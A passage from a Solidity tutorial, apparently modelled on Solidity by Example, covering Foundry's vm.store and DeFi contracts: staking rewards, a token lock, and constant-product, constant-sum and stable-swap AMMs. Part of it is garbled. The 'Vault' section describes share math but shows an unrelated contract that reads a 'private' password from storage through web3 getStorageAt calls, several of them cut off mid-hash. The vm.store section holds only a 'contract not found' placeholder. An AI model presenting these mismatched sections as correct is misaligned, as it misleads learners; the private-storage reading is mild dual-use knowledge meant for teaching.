            abi.encode(uint256(99))
        );

        // Returns 99
        uint256 res = target.f(x, y);
        console.log("res", res);
    }
}
```

6.10 Foundry vm.store

Learn how to use vm.store to write directly to storage slots in Foundry tests

Use `vm.store` to write directly to a contract's storage slots during testing.

This is useful for:

- Setting up test scenarios without calling contract functions
- Bypassing access controls to test specific states
- Testing edge cases that are hard to reach normally

For mappings, calculate the slot with `keccak256(abi.encode(key, mappingSlot))`.

```
// CONTRACT 'StoreTest' NOT FOUND IN REPO
```

Chapter 7 — DeFi Protocols

7.1 Vault

Vault

Simple example of vault contract, commonly used in DeFi protocols.

Most vaults on the mainnet are more complex. Here we will focus on the math for calculating shares to mint on deposit and the amount of token to withdraw.

How the contract works

1. Some amount of shares are minted when a user deposits.
2. The DeFi protocol would use the users' deposits to generate yield (somehow).
3. User burns shares to withdraw his tokens + yield.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
Note: cannot use web3 on JVM, so use the contract deployed on Goerli
Note: browser Web3 is old so use Web3 from truffle console

Contract deployed on Goerli
0x534E4Ce0ffF779513793cfd70308AF195827BD31
*/

/*
# Storage
- 2 ** 256 slots
- 32 bytes for each slot
- data is stored sequentially in the order of declaration
- storage is optimized to save space. If neighboring variables fit in a single
  32 bytes, then they are packed into the same slot, starting from the right
*/

contract Vault {
    // slot 0
    uint256 public count = 123;
    // slot 1
    address public owner = msg.sender;
    bool public isTrue = true;
    uint16 public u16 = 31;
    // slot 2
    bytes32 private password;

    // constants do not use storage
    uint256 public constant someConst = 123;

    // slot 3, 4, 5 (one for each array element)
    bytes32[3] public data;

    struct User {
        uint256 id;
        bytes32 password;
    }

    // slot 6 - length of array
    // starting from slot hash(6) - array elements
```

```
    // slot where array element is stored = keccak256(slot)) + (index * elementSize)
    // where slot = 6 and elementSize = 2 (1 (uint) +  1 (bytes32))
    User[] private users;

    // slot 7 - empty
    // entries are stored at hash(key, slot)
    // where slot = 7, key = map key
    mapping(uint256 => User) private idToUser;

    constructor(bytes32 _password) {
        password = _password;
    }

    function addUser(bytes32 _password) public {
        User memory user = User({id: users.length, password: _password});

        users.push(user);
        idToUser[user.id] = user;
    }

    function getArrayLocation(uint256 slot, uint256 index, uint256 elementSize)
        public
        pure
        returns (uint256)
    {
        return
            uint256(keccak256(abi.encodePacked(slot))) + (index * elementSize);
    }

    function getMapLocation(uint256 slot, uint256 key)
        public
        pure
        returns (uint256)
    {
        return uint256(keccak256(abi.encodePacked(key, slot)));
    }
}

/*
slot 0 - count
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", 0, console.log)
slot 1 - u16, isTrue, owner
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", 1, console.log)
slot 2 - password
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", 2, console.log)

slot 6 - array length
getArrayLocation(6, 0, 2)
web3.utils.numberToHex("111414077815863400510004064629973595961579173665589224203503662149373724986687")
Note: We can also use web3 to get data location
web3.utils.soliditySha3({ type: "uint", value: 6 })
1st user
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aa
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aa
Note: use web3.toAscii to convert bytes32 to alphabet
2nd user
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aa
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xf652222313e28459528d920b65115c16c04f3efc82aa

slot 7 - empty
getMapLocation(7, 1)
web3.utils.numberToHex("81222191986226809103279119994707868322855741819905904417953092666699096963112")
Note: We can also use web3 to get data location
```

```
web3.utils.soliditySha3({ type: "uint", value: 1 }, {type: "uint", value: 7})
user 1
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xb39221ace053465ec3453ce2b36430bd138b997ecea2
web3.eth.getStorageAt("0x534E4Ce0ffF779513793cfd70308AF195827BD31", "0xb39221ace053465ec3453ce2b36430bd138b997ecea2
*/
```

7.2 Staking Rewards

Staking rewards contract based on Synthetix StakingRewards.sol

This is a minimal example of a contract that rewards users for staking their token.

Code is a stripped down version of Synthetix StakingRewards.sol

Staking Rewards

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract StakingRewards {
    IERC20 public immutable stakingToken;
    IERC20 public immutable rewardsToken;

    address public owner;

    // Duration of rewards to be paid out (in seconds)
    uint256 public duration;
    // Timestamp of when the rewards finish
    uint256 public finishAt;
    // Minimum of last updated time and reward finish time
    uint256 public updatedAt;
    // Reward to be paid out per second
    uint256 public rewardRate;
    // Sum of (reward rate * dt * 1e18 / total supply)
    uint256 public rewardPerTokenStored;
    // User address => rewardPerTokenStored
    mapping(address => uint256) public userRewardPerTokenPaid;
    // User address => rewards to be claimed
    mapping(address => uint256) public rewards;

    // Total staked
    uint256 public totalSupply;
    // User address => staked amount
    mapping(address => uint256) public balanceOf;

    constructor(address _stakingToken, address _rewardToken) {
        owner = msg.sender;
        stakingToken = IERC20(_stakingToken);
        rewardsToken = IERC20(_rewardToken);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "not authorized");
        _;
    }

    modifier updateReward(address _account) {
        rewardPerTokenStored = rewardPerToken();
        updatedAt = lastTimeRewardApplicable();

        if (_account != address(0)) {
            rewards[_account] = earned(_account);
            userRewardPerTokenPaid[_account] = rewardPerTokenStored;
        }
```

```
        _;
    }

    function lastTimeRewardApplicable() public view returns (uint256) {
        return _min(finishAt, block.timestamp);
    }

    function rewardPerToken() public view returns (uint256) {
        if (totalSupply == 0) {
            return rewardPerTokenStored;
        }

        return rewardPerTokenStored
            + (rewardRate * (lastTimeRewardApplicable() - updatedAt) * 1e18)
                / totalSupply;
    }

    function stake(uint256 _amount) external updateReward(msg.sender) {
        require(_amount > 0, "amount = 0");
        stakingToken.transferFrom(msg.sender, address(this), _amount);
        balanceOf[msg.sender] += _amount;
        totalSupply += _amount;
    }

    function withdraw(uint256 _amount) external updateReward(msg.sender) {
        require(_amount > 0, "amount = 0");
        balanceOf[msg.sender] -= _amount;
        totalSupply -= _amount;
        stakingToken.transfer(msg.sender, _amount);
    }

    function earned(address _account) public view returns (uint256) {
        return (
            (
                balanceOf[_account]
                    * (rewardPerToken() - userRewardPerTokenPaid[_account])
            ) / 1e18
        ) + rewards[_account];
    }

    function getReward() external updateReward(msg.sender) {
        uint256 reward = rewards[msg.sender];
        if (reward > 0) {
            rewards[msg.sender] = 0;
            rewardsToken.transfer(msg.sender, reward);
        }
    }

    function setRewardsDuration(uint256 _duration) external onlyOwner {
        require(finishAt < block.timestamp, "reward duration not finished");
        duration = _duration;
    }

    function notifyRewardAmount(uint256 _amount)
        external
        onlyOwner
        updateReward(address(0))
    {
        if (block.timestamp >= finishAt) {
            rewardRate = _amount / duration;
        } else {
            uint256 remainingRewards = (finishAt - block.timestamp) * rewardRate;
            rewardRate = (_amount + remainingRewards) / duration;
```

```
        }

        require(rewardRate > 0, "reward rate = 0");
        require(
            rewardRate * duration <= rewardsToken.balanceOf(address(this)),
            "reward amount > balance"
        );

        finishAt = block.timestamp + duration;
        updatedAt = block.timestamp;
    }

    function _min(uint256 x, uint256 y) private pure returns (uint256) {
        return x <= y ? x : y;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
```

Explanation:

- The staking rewards contract distributes a reward token to stakers proportional to their staked amount and time.
- `rewardPerToken` accumulates a global index: `rewardRate * timeDelta / totalSupply` added each second.
- Each user tracks their personal `userRewardPerTokenPaid`; their earned amount is `(rewardPerToken - userRewardPerTokenPaid) * balance`.
- The pattern ensures O(1) per-user accounting regardless of number of stakers — no loops needed.
- `notifyRewardAmount` resets the reward period; if called before the current period ends, remaining rewards are rolled in.
- This pattern is used directly in Synthetix, Uniswap V2 liquidity mining, and hundreds of DeFi projects.

7.3 Discrete Staking Rewards

Discrete staking rewards

Similar to staking rewards contract. Difference is that reward amount may vary at each second.

Discrete Staking Rewards

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract DiscreteStakingRewards {
    IERC20 public immutable stakingToken;
    IERC20 public immutable rewardToken;

    mapping(address => uint256) public balanceOf;
    uint256 public totalSupply;

    uint256 private constant MULTIPLIER = 1e18;
    uint256 private rewardIndex;
    mapping(address => uint256) private rewardIndexOf;
    mapping(address => uint256) private earned;

    constructor(address _stakingToken, address _rewardToken) {
        stakingToken = IERC20(_stakingToken);
        rewardToken = IERC20(_rewardToken);
    }

    function updateRewardIndex(uint256 reward) external {
        rewardToken.transferFrom(msg.sender, address(this), reward);
        rewardIndex += (reward * MULTIPLIER) / totalSupply;
    }

    function _calculateRewards(address account)
        private
        view
        returns (uint256)
    {
        uint256 shares = balanceOf[account];
        return (shares * (rewardIndex - rewardIndexOf[account])) / MULTIPLIER;
    }

    function calculateRewardsEarned(address account)
        external
        view
        returns (uint256)
    {
        return earned[account] + _calculateRewards(account);
    }

    function _updateRewards(address account) private {
        earned[account] += _calculateRewards(account);
        rewardIndexOf[account] = rewardIndex;
    }

    function stake(uint256 amount) external {
        _updateRewards(msg.sender);

        balanceOf[msg.sender] += amount;
```

```
        totalSupply += amount;

        stakingToken.transferFrom(msg.sender, address(this), amount);
    }

    function unstake(uint256 amount) external {
        _updateRewards(msg.sender);

        balanceOf[msg.sender] -= amount;
        totalSupply -= amount;

        stakingToken.transfer(msg.sender, amount);
    }

    function claim() external returns (uint256) {
        _updateRewards(msg.sender);

        uint256 reward = earned[msg.sender];
        if (reward > 0) {
            earned[msg.sender] = 0;
            rewardToken.transfer(msg.sender, reward);
        }

        return reward;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
```

7.4 Token Lock

Token lock

Example of a contract that locks tokens and releases them linearly over a specific time period.

```
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {IERC20} from "./IERC20.sol";

contract Auth {
    mapping(address => bool) public authorized;

    modifier auth() {
        require(authorized[msg.sender], "not authorized");
        _;
    }

    constructor() {
        authorized[msg.sender] = true;
    }

    function allow(address user) external auth {
        authorized[user] = true;
    }

    function deny(address user) external auth {
        authorized[user] = false;
    }
}

contract TokenLock is Auth {
    struct Lock {
        // Locked amount
        uint256 amount;
        // Last lock timestamp
        uint32 updatedAt;
        // Lock expiry timestamp
        uint32 expiresAt;
        // Lock duration
        uint32 duration;
    }

    mapping(address => Lock) public locks;
    mapping(address => uint256) public freed;

    function get(address token) external view returns (Lock memory) {
        return locks[token];
    }

    function set(address token, uint32 duration) external auth {
        locks[token].duration = duration;
    }

    function unlocked(address token) public view returns (uint256) {
        Lock memory l = locks[token];
        // block.timestamp >= expiresAt >= updatedAt
        // block.timestamp >= updateAt >= expiresAt
        if (block.timestamp >= l.expiresAt) {
```

```
            return l.amount;
        }
        // expiresAt > block.timestamp >= updateAt
        return l.amount * (block.timestamp - uint256(l.updatedAt))
            / uint256(l.expiresAt - l.updatedAt);
    }

    function claimable(address token) public view returns (uint256) {
        return freed[token] + unlocked(token);
    }

    function lock(address token, uint256 amount) external auth {
        uint256 free = unlocked(token);

        Lock storage l = locks[token];
        l.amount -= free;
        l.updatedAt = uint32(block.timestamp);
        l.expiresAt = uint32(block.timestamp) + l.duration;
        freed[token] += free;

        if (amount > 0) {
            IERC20(token).transferFrom(msg.sender, address(this), amount);
            l.amount += amount;
        }
    }

    function unlock(address token) external auth returns (uint256 amount) {
        uint256 free = unlocked(token);

        Lock storage l = locks[token];
        l.amount -= free;
        l.updatedAt = uint32(block.timestamp);

        amount = freed[token] + free;
        freed[token] = 0;

        if (amount > 0) {
            IERC20(token).transfer(msg.sender, amount);
        }
    }

    function sync(address token) external auth {
        uint256 reserved = freed[token] + locks[token].amount;
        uint256 bal = IERC20(token).balanceOf(address(this));
        if (bal > reserved) {
            IERC20(token).transfer(msg.sender, bal - reserved);
        }
    }
}
```

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
```

```
    function transfer(address dst, uint256 amount) external returns (bool);
    function transferFrom(address src, address dst, uint256 amount)
        external
        returns (bool);

    event Transfer(address indexed src, address indexed dst, uint256 amount);
    event Approval(
        address indexed owner, address indexed spender, uint256 amount
    );
}
```

7.5 Constant Product AMM

Constant product AMM

Constant product AMM `XY = K`

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract CPAMM {
    IERC20 public immutable token0;
    IERC20 public immutable token1;

    uint256 public reserve0;
    uint256 public reserve1;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address _token0, address _token1) {
        token0 = IERC20(_token0);
        token1 = IERC20(_token1);
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    function _update(uint256 _reserve0, uint256 _reserve1) private {
        reserve0 = _reserve0;
        reserve1 = _reserve1;
    }

    function swap(address _tokenIn, uint256 _amountIn)
        external
        returns (uint256 amountOut)
    {
        require(
            _tokenIn == address(token0) || _tokenIn == address(token1),
            "invalid token"
        );
        require(_amountIn > 0, "amount in = 0");

        bool isToken0 = _tokenIn == address(token0);
        (IERC20 tokenIn, IERC20 tokenOut, uint256 reserveIn, uint256 reserveOut)
        = isToken0
            ? (token0, token1, reserve0, reserve1)
            : (token1, token0, reserve1, reserve0);

        tokenIn.transferFrom(msg.sender, address(this), _amountIn);

        /*
        How many dy for dx?
```

```
        xy = k
        (x + dx)(y - dy) = k
        y - dy = k / (x + dx)
        y - k / (x + dx) = dy
        y - xy / (x + dx) = dy
        (yx + ydx - xy) / (x + dx) = dy
        ydx / (x + dx) = dy
        */
        // 0.3% fee
        uint256 amountInWithFee = (_amountIn * 997) / 1000;
        amountOut =
            (reserveOut * amountInWithFee) / (reserveIn + amountInWithFee);

        tokenOut.transfer(msg.sender, amountOut);

        _update(
            token0.balanceOf(address(this)), token1.balanceOf(address(this))
        );
    }

    function addLiquidity(uint256 _amount0, uint256 _amount1)
        external
        returns (uint256 shares)
    {
        token0.transferFrom(msg.sender, address(this), _amount0);
        token1.transferFrom(msg.sender, address(this), _amount1);

        /*
        How many dx, dy to add?

        xy = k
        (x + dx)(y + dy) = k'

        No price change, before and after adding liquidity
        x / y = (x + dx) / (y + dy)

        x(y + dy) = y(x + dx)
        x * dy = y * dx

        x / y = dx / dy
        dy = y / x * dx
        */
        if (reserve0 > 0 || reserve1 > 0) {
            require(
                reserve0 * _amount1 == reserve1 * _amount0, "x / y != dx / dy"
            );
        }

        /*
        How many shares to mint?

        f(x, y) = value of liquidity
        We will define f(x, y) = sqrt(xy)

        L0 = f(x, y)
        L1 = f(x + dx, y + dy)
        T = total shares
        s = shares to mint

        Total shares should increase proportional to increase in liquidity
        L1 / L0 = (T + s) / T

        L1 * T = L0 * (T + s)
```

```
        (L1 - L0) * T / L0 = s
        */

        /*
        Claim
        (L1 - L0) / L0 = dx / x = dy / y

        Proof
        --- Equation 1 ---
        (L1 - L0) / L0 = (sqrt((x + dx)(y + dy)) - sqrt(xy)) / sqrt(xy)

        dx / dy = x / y so replace dy = dx * y / x

        --- Equation 2 ---
        Equation 1 = (sqrt(xy + 2ydx + dx^2 * y / x) - sqrt(xy)) / sqrt(xy)

        Multiply by sqrt(x) / sqrt(x)
        Equation 2 = (sqrt(x^2y + 2xydx + dx^2 * y) - sqrt(x^2y)) / sqrt(x^2y)
                   = (sqrt(y)(sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(y)sqrt(x^2))

        sqrt(y) on top and bottom cancels out

        --- Equation 3 ---
        Equation 2 = (sqrt(x^2 + 2xdx + dx^2) - sqrt(x^2)) / (sqrt(x^2)
        = (sqrt((x + dx)^2) - sqrt(x^2)) / sqrt(x^2)
        = ((x + dx) - x) / x
        = dx / x

        Since dx / dy = x / y,
        dx / x = dy / y

        Finally
        (L1 - L0) / L0 = dx / x = dy / y
        */
        if (totalSupply == 0) {
            shares = _sqrt(_amount0 * _amount1);
        } else {
            shares = _min(
                (_amount0 * totalSupply) / reserve0,
                (_amount1 * totalSupply) / reserve1
            );
        }
        require(shares > 0, "shares = 0");
        _mint(msg.sender, shares);

        _update(
            token0.balanceOf(address(this)), token1.balanceOf(address(this))
        );
    }

    function removeLiquidity(uint256 _shares)
        external
        returns (uint256 amount0, uint256 amount1)
    {
        /*
        Claim
        dx, dy = amount of liquidity to remove
        dx = s / T * x
        dy = s / T * y

        Proof
        Let's find dx, dy such that
```

```
        v / L = s / T

        where
        v = f(dx, dy) = sqrt(dxdy)
        L = total liquidity = sqrt(xy)
        s = shares
        T = total supply

        --- Equation 1 ---
        v = s / T * L
        sqrt(dxdy) = s / T * sqrt(xy)

        Amount of liquidity to remove must not change price so
        dx / dy = x / y

        replace dy = dx * y / x
        sqrt(dxdy) = sqrt(dx * dx * y / x) = dx * sqrt(y / x)

        Divide both sides of Equation 1 with sqrt(y / x)
        dx = s / T * sqrt(xy) / sqrt(y / x)
           = s / T * sqrt(x^2) = s / T * x

        Likewise
        dy = s / T * y
        */

        // bal0 >= reserve0
        // bal1 >= reserve1
        uint256 bal0 = token0.balanceOf(address(this));
        uint256 bal1 = token1.balanceOf(address(this));

        amount0 = (_shares * bal0) / totalSupply;
        amount1 = (_shares * bal1) / totalSupply;
        require(amount0 > 0 && amount1 > 0, "amount0 or amount1 = 0");

        _burn(msg.sender, _shares);
        _update(bal0 - amount0, bal1 - amount1);

        token0.transfer(msg.sender, amount0);
        token1.transfer(msg.sender, amount1);
    }

    function _sqrt(uint256 y) private pure returns (uint256 z) {
        if (y > 3) {
            z = y;
            uint256 x = y / 2 + 1;
            while (x < z) {
                z = x;
                x = (y / x + x) / 2;
            }
        } else if (y != 0) {
            z = 1;
        }
    }

    function _min(uint256 x, uint256 y) private pure returns (uint256) {
        return x <= y ? x : y;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
```

```
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
```

Explanation:

- CPAMM implements the core `x * y = k` invariant from scratch.
- `addLiquidity` deposits token0 and token1 in the current ratio; LP shares are minted proportional to the deposit.
- `removeLiquidity` burns LP shares and returns the proportional token amounts.
- `swap` enforces the invariant: after the swap, `(x + dx) (y - dy) >= x y` (with fee deducted from `dx`).
- A 0.3% swap fee is implemented by multiplying `amountIn` by 997 and dividing by 1000 before computing the output.
- This is the foundational building block for understanding Uniswap V2, Curve, Balancer, etc.

7.6 Constant Sum AMM

Constant sum AMM

Constant sum AMM `X + Y = K`

Tokens trade one to one.

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract CSAMM {
    IERC20 public immutable token0;
    IERC20 public immutable token1;

    uint256 public reserve0;
    uint256 public reserve1;

    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address _token0, address _token1) {
        // NOTE: This contract assumes that token0 and token1
        // both have same decimals
        token0 = IERC20(_token0);
        token1 = IERC20(_token1);
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    function _update(uint256 _res0, uint256 _res1) private {
        reserve0 = _res0;
        reserve1 = _res1;
    }

    function swap(address _tokenIn, uint256 _amountIn)
        external
        returns (uint256 amountOut)
    {
        require(
            _tokenIn == address(token0) || _tokenIn == address(token1),
            "invalid token"
        );

        bool isToken0 = _tokenIn == address(token0);

        (IERC20 tokenIn, IERC20 tokenOut, uint256 resIn, uint256 resOut) =
        isToken0
            ? (token0, token1, reserve0, reserve1)
            : (token1, token0, reserve1, reserve0);

        tokenIn.transferFrom(msg.sender, address(this), _amountIn);
```

```
        uint256 amountIn = tokenIn.balanceOf(address(this)) - resIn;

        // 0.3% fee
        amountOut = (amountIn * 997) / 1000;

        (uint256 res0, uint256 res1) = isToken0
            ? (resIn + amountIn, resOut - amountOut)
            : (resOut - amountOut, resIn + amountIn);

        _update(res0, res1);
        tokenOut.transfer(msg.sender, amountOut);
    }

    function addLiquidity(uint256 _amount0, uint256 _amount1)
        external
        returns (uint256 shares)
    {
        token0.transferFrom(msg.sender, address(this), _amount0);
        token1.transferFrom(msg.sender, address(this), _amount1);

        uint256 bal0 = token0.balanceOf(address(this));
        uint256 bal1 = token1.balanceOf(address(this));

        uint256 d0 = bal0 - reserve0;
        uint256 d1 = bal1 - reserve1;

        /*
        a = amount in
        L = total liquidity
        s = shares to mint
        T = total supply

        s should be proportional to increase from L to L + a
        (L + a) / L = (T + s) / T

        s = a * T / L
        */
        if (totalSupply > 0) {
            shares = ((d0 + d1) * totalSupply) / (reserve0 + reserve1);
        } else {
            shares = d0 + d1;
        }

        require(shares > 0, "shares = 0");
        _mint(msg.sender, shares);

        _update(bal0, bal1);
    }

    function removeLiquidity(uint256 _shares)
        external
        returns (uint256 d0, uint256 d1)
    {
        /*
        a = amount out
        L = total liquidity
        s = shares
        T = total supply

        a / L = s / T

        a = L * s / T
          = (reserve0 + reserve1) * s / T
```

```
        */
        d0 = (reserve0 * _shares) / totalSupply;
        d1 = (reserve1 * _shares) / totalSupply;

        _burn(msg.sender, _shares);
        _update(reserve0 - d0, reserve1 - d1);

        if (d0 > 0) {
            token0.transfer(msg.sender, d0);
        }
        if (d1 > 0) {
            token1.transfer(msg.sender, d1);
        }
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount)
        external
        returns (bool);
    function allowance(address owner, address spender)
        external
        view
        returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount)
        external
        returns (bool);
}
```

7.7 Stable Swap AMM

Curve's stable swap AMM

Simplified version of Curve's stable swap AMM

```
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

/*
Invariant - price of trade and amount of liquidity are determined by this equation

An^n sum(x_i) + D = ADn^n + D^(n + 1) / (n^n prod(x_i))

Topics
0. Newton's method x_(n + 1) = x_n - f(x_n) / f'(x_n)
1. Invariant
2. Swap
   - Calculate Y
   - Calculate D
3. Get virtual price
4. Add liquidity
   - Imbalance fee
5. Remove liquidity
6. Remove liquidity one token
   - Calculate withdraw one token
   - getYD
TODO: test?
*/

library Math {
    function abs(uint256 x, uint256 y) internal pure returns (uint256) {
        return x >= y ? x - y : y - x;
    }
}

contract StableSwap {
    // Number of tokens
    uint256 private constant N = 3;
    // Amplification coefficient multiplied by N^(N - 1)
    // Higher value makes the curve more flat
    // Lower value makes the curve more like constant product AMM
    uint256 private constant A = 1000 * (N ** (N - 1));
    // 0.03%
    uint256 private constant SWAP_FEE = 300;
    // Liquidity fee is derived from 2 constraints
    // 1. Fee is 0 for adding / removing liquidity that results in a balanced pool
    // 2. Swapping in a balanced pool is like adding and then removing liquidity
    //    from a balanced pool
    // swap fee = add liquidity fee + remove liquidity fee
    uint256 private constant LIQUIDITY_FEE = (SWAP_FEE * N) / (4 * (N - 1));
    uint256 private constant FEE_DENOMINATOR = 1e6;

    address[N] public tokens;
    // Normalize each token to 18 decimals
    // Example - DAI (18 decimals), USDC (6 decimals), USDT (6 decimals)
    uint256[N] private multipliers = [1, 1e12, 1e12];
    uint256[N] public balances;

    // 1 share = 1e18, 18 decimals
```

```
    uint256 private constant DECIMALS = 18;
    uint256 public totalSupply;
    mapping(address => uint256) public balanceOf;

    constructor(address[N] memory _tokens) {
        tokens = _tokens;
    }

    function _mint(address _to, uint256 _amount) private {
        balanceOf[_to] += _amount;
        totalSupply += _amount;
    }

    function _burn(address _from, uint256 _amount) private {
        balanceOf[_from] -= _amount;
        totalSupply -= _amount;
    }

    // Return precision-adjusted balances, adjusted to 18 decimals
    function _xp() private view returns (uint256[N] memory xp) {
        for (uint256 i; i < N; ++i) {
            xp[i] = balances[i] * multipliers[i];
        }
    }

    /**
     * @notice Calculate D, sum of balances in a perfectly balanced pool
     * If balances of x_0, x_1, ... x_(n-1) then sum(x_i) = D
     * @param xp Precision-adjusted balances
     * @return D
     */
    function _getD(uint256[N] memory xp) private pure returns (uint256) {
        /*
        Newton's method to compute D
        -----------------------------
        f(D) = ADn^n + D^(n + 1) / (n^n prod(x_i)) - An^n sum(x_i) - D
        f'(D) = An^n + (n + 1) D^n / (n^n prod(x_i)) - 1

                      (as + np)D_n
        D_(n+1) = -----------------------
                  (a - 1)D_n + (n + 1)p

        a = An^n
        s = sum(x_i)
        p = (D_n)^(n + 1) / (n^n prod(x_i))
        */
        uint256 a = A * N; // An^n

        uint256 s; // x_0 + x_1 + ... + x_(n-1)
        for (uint256 i; i < N; ++i) {
            s += xp[i];
        }

        // Newton's method
        // Initial guess, d <= s
        uint256 d = s;
        uint256 d_prev;
        for (uint256 i; i < 255; ++i) {
            // p = D^(n + 1) / (n^n * x_0 * ... * x_(n-1))
            uint256 p = d;
            for (uint256 j; j < N; ++j) {
                p = (p * d) / (N * xp[j]);
            }
```

```
            d_prev = d;
            d = ((a * s + N * p) * d) / ((a - 1) * d + (N + 1) * p);

            if (Math.abs(d, d_prev) <= 1) {
                return d;
            }
        }
        revert("D didn't converge");
    }

    /**
     * @notice Calculate the new balance of token j given the new balance of token i
     * @param i Index of token in
     * @param j Index of token out
     * @param x New balance of token i
     * @param xp Current precision-adjusted balances
     */
    function _getY(uint256 i, uint256 j, uint256 x, uint256[N] memory xp)
        private
        pure
        returns (uint256)
    {
        /*
        Newton's method to compute y
        -----------------------------
        y = x_j

        f(y) = y^2 + y(b - D) - c

                    y_n^2 + c
        y_(n+1) = --------------
                   2y_n + b - D

        where
        s = sum(x_k), k != j
        p = prod(x_k), k != j
        b = s + D / (An^n)
        c = D^(n + 1) / (n^n * p * An^n)
        */
        uint256 a = A * N;
        uint256 d = _getD(xp);
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k == i) {
                _x = x;
            } else if (k == j) {
                continue;
            } else {
                _x = xp[k];
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        // Newton's method
        uint256 y_prev;
        // Initial guess, y <= d
```

```
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (Math.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert("y didn't converge");
    }

    /**
     * @notice Calculate the new balance of token i given precision-adjusted
     * balances xp and liquidity d
     * @dev Equation is calculate y is same as _getY
     * @param i Index of token to calculate the new balance
     * @param xp Precision-adjusted balances
     * @param d Liquidity d
     * @return New balance of token i
     */
    function _getYD(uint256 i, uint256[N] memory xp, uint256 d)
        private
        pure
        returns (uint256)
    {
        uint256 a = A * N;
        uint256 s;
        uint256 c = d;

        uint256 _x;
        for (uint256 k; k < N; ++k) {
            if (k != i) {
                _x = xp[k];
            } else {
                continue;
            }

            s += _x;
            c = (c * d) / (N * _x);
        }
        c = (c * d) / (N * a);
        uint256 b = s + d / a;

        // Newton's method
        uint256 y_prev;
        // Initial guess, y <= d
        uint256 y = d;
        for (uint256 _i; _i < 255; ++_i) {
            y_prev = y;
            y = (y * y + c) / (2 * y + b - d);
            if (Math.abs(y, y_prev) <= 1) {
                return y;
            }
        }
        revert("y didn't converge");
    }

    // Estimate value of 1 share
    // How many tokens is one share worth?
    function getVirtualPrice() external view returns (uint256) {
        uint256 d = _getD(_xp());
        uint256 _totalSupply = totalSupply;
        if (_totalSupply > 0) {
```

```
            return (d * 10 ** DECIMALS) / _totalSupply;
        }
        return 0;
    }

    /**
     * @notice Swap dx amount of token i for token j
     * @param i Index of token in
     * @param j Index of token out
     * @param dx Token in amount
     * @param minDy Minimum token out
     */
    function swap(uint256 i, uint256 j, uint256 dx, uint256 minDy)
        external
        returns (uint256 dy)
    {
        require(i != j, "i = j");

        IERC20(tokens[i]).transferFrom(msg.sender, address(this), dx);

        // Calculate dy
        uint256[N] memory xp = _xp();
        uint256 x = xp[i] + dx * multipliers[i];

        uint256 y0 = xp[j];
        uint256 y1 = _getY(i, j, x, xp);
        // y0 must be >= y1, since x has increased
        // -1 to round down
        dy = (y0 - y1 - 1) / multipliers[j];

        // Subtract fee from dy
        uint256 fee = (dy * SWAP_FEE) / FEE_DENOMINATOR;
        dy -= fee;
        require(dy >= minDy, "dy < min");

        balances[i] += dx;
        balances[j] -= dy;

        IERC20(tokens[j]).transfer(msg.sender, dy);
    }

    function addLiquidity(uint256[N] calldata amounts, uint256 minShares)
        external
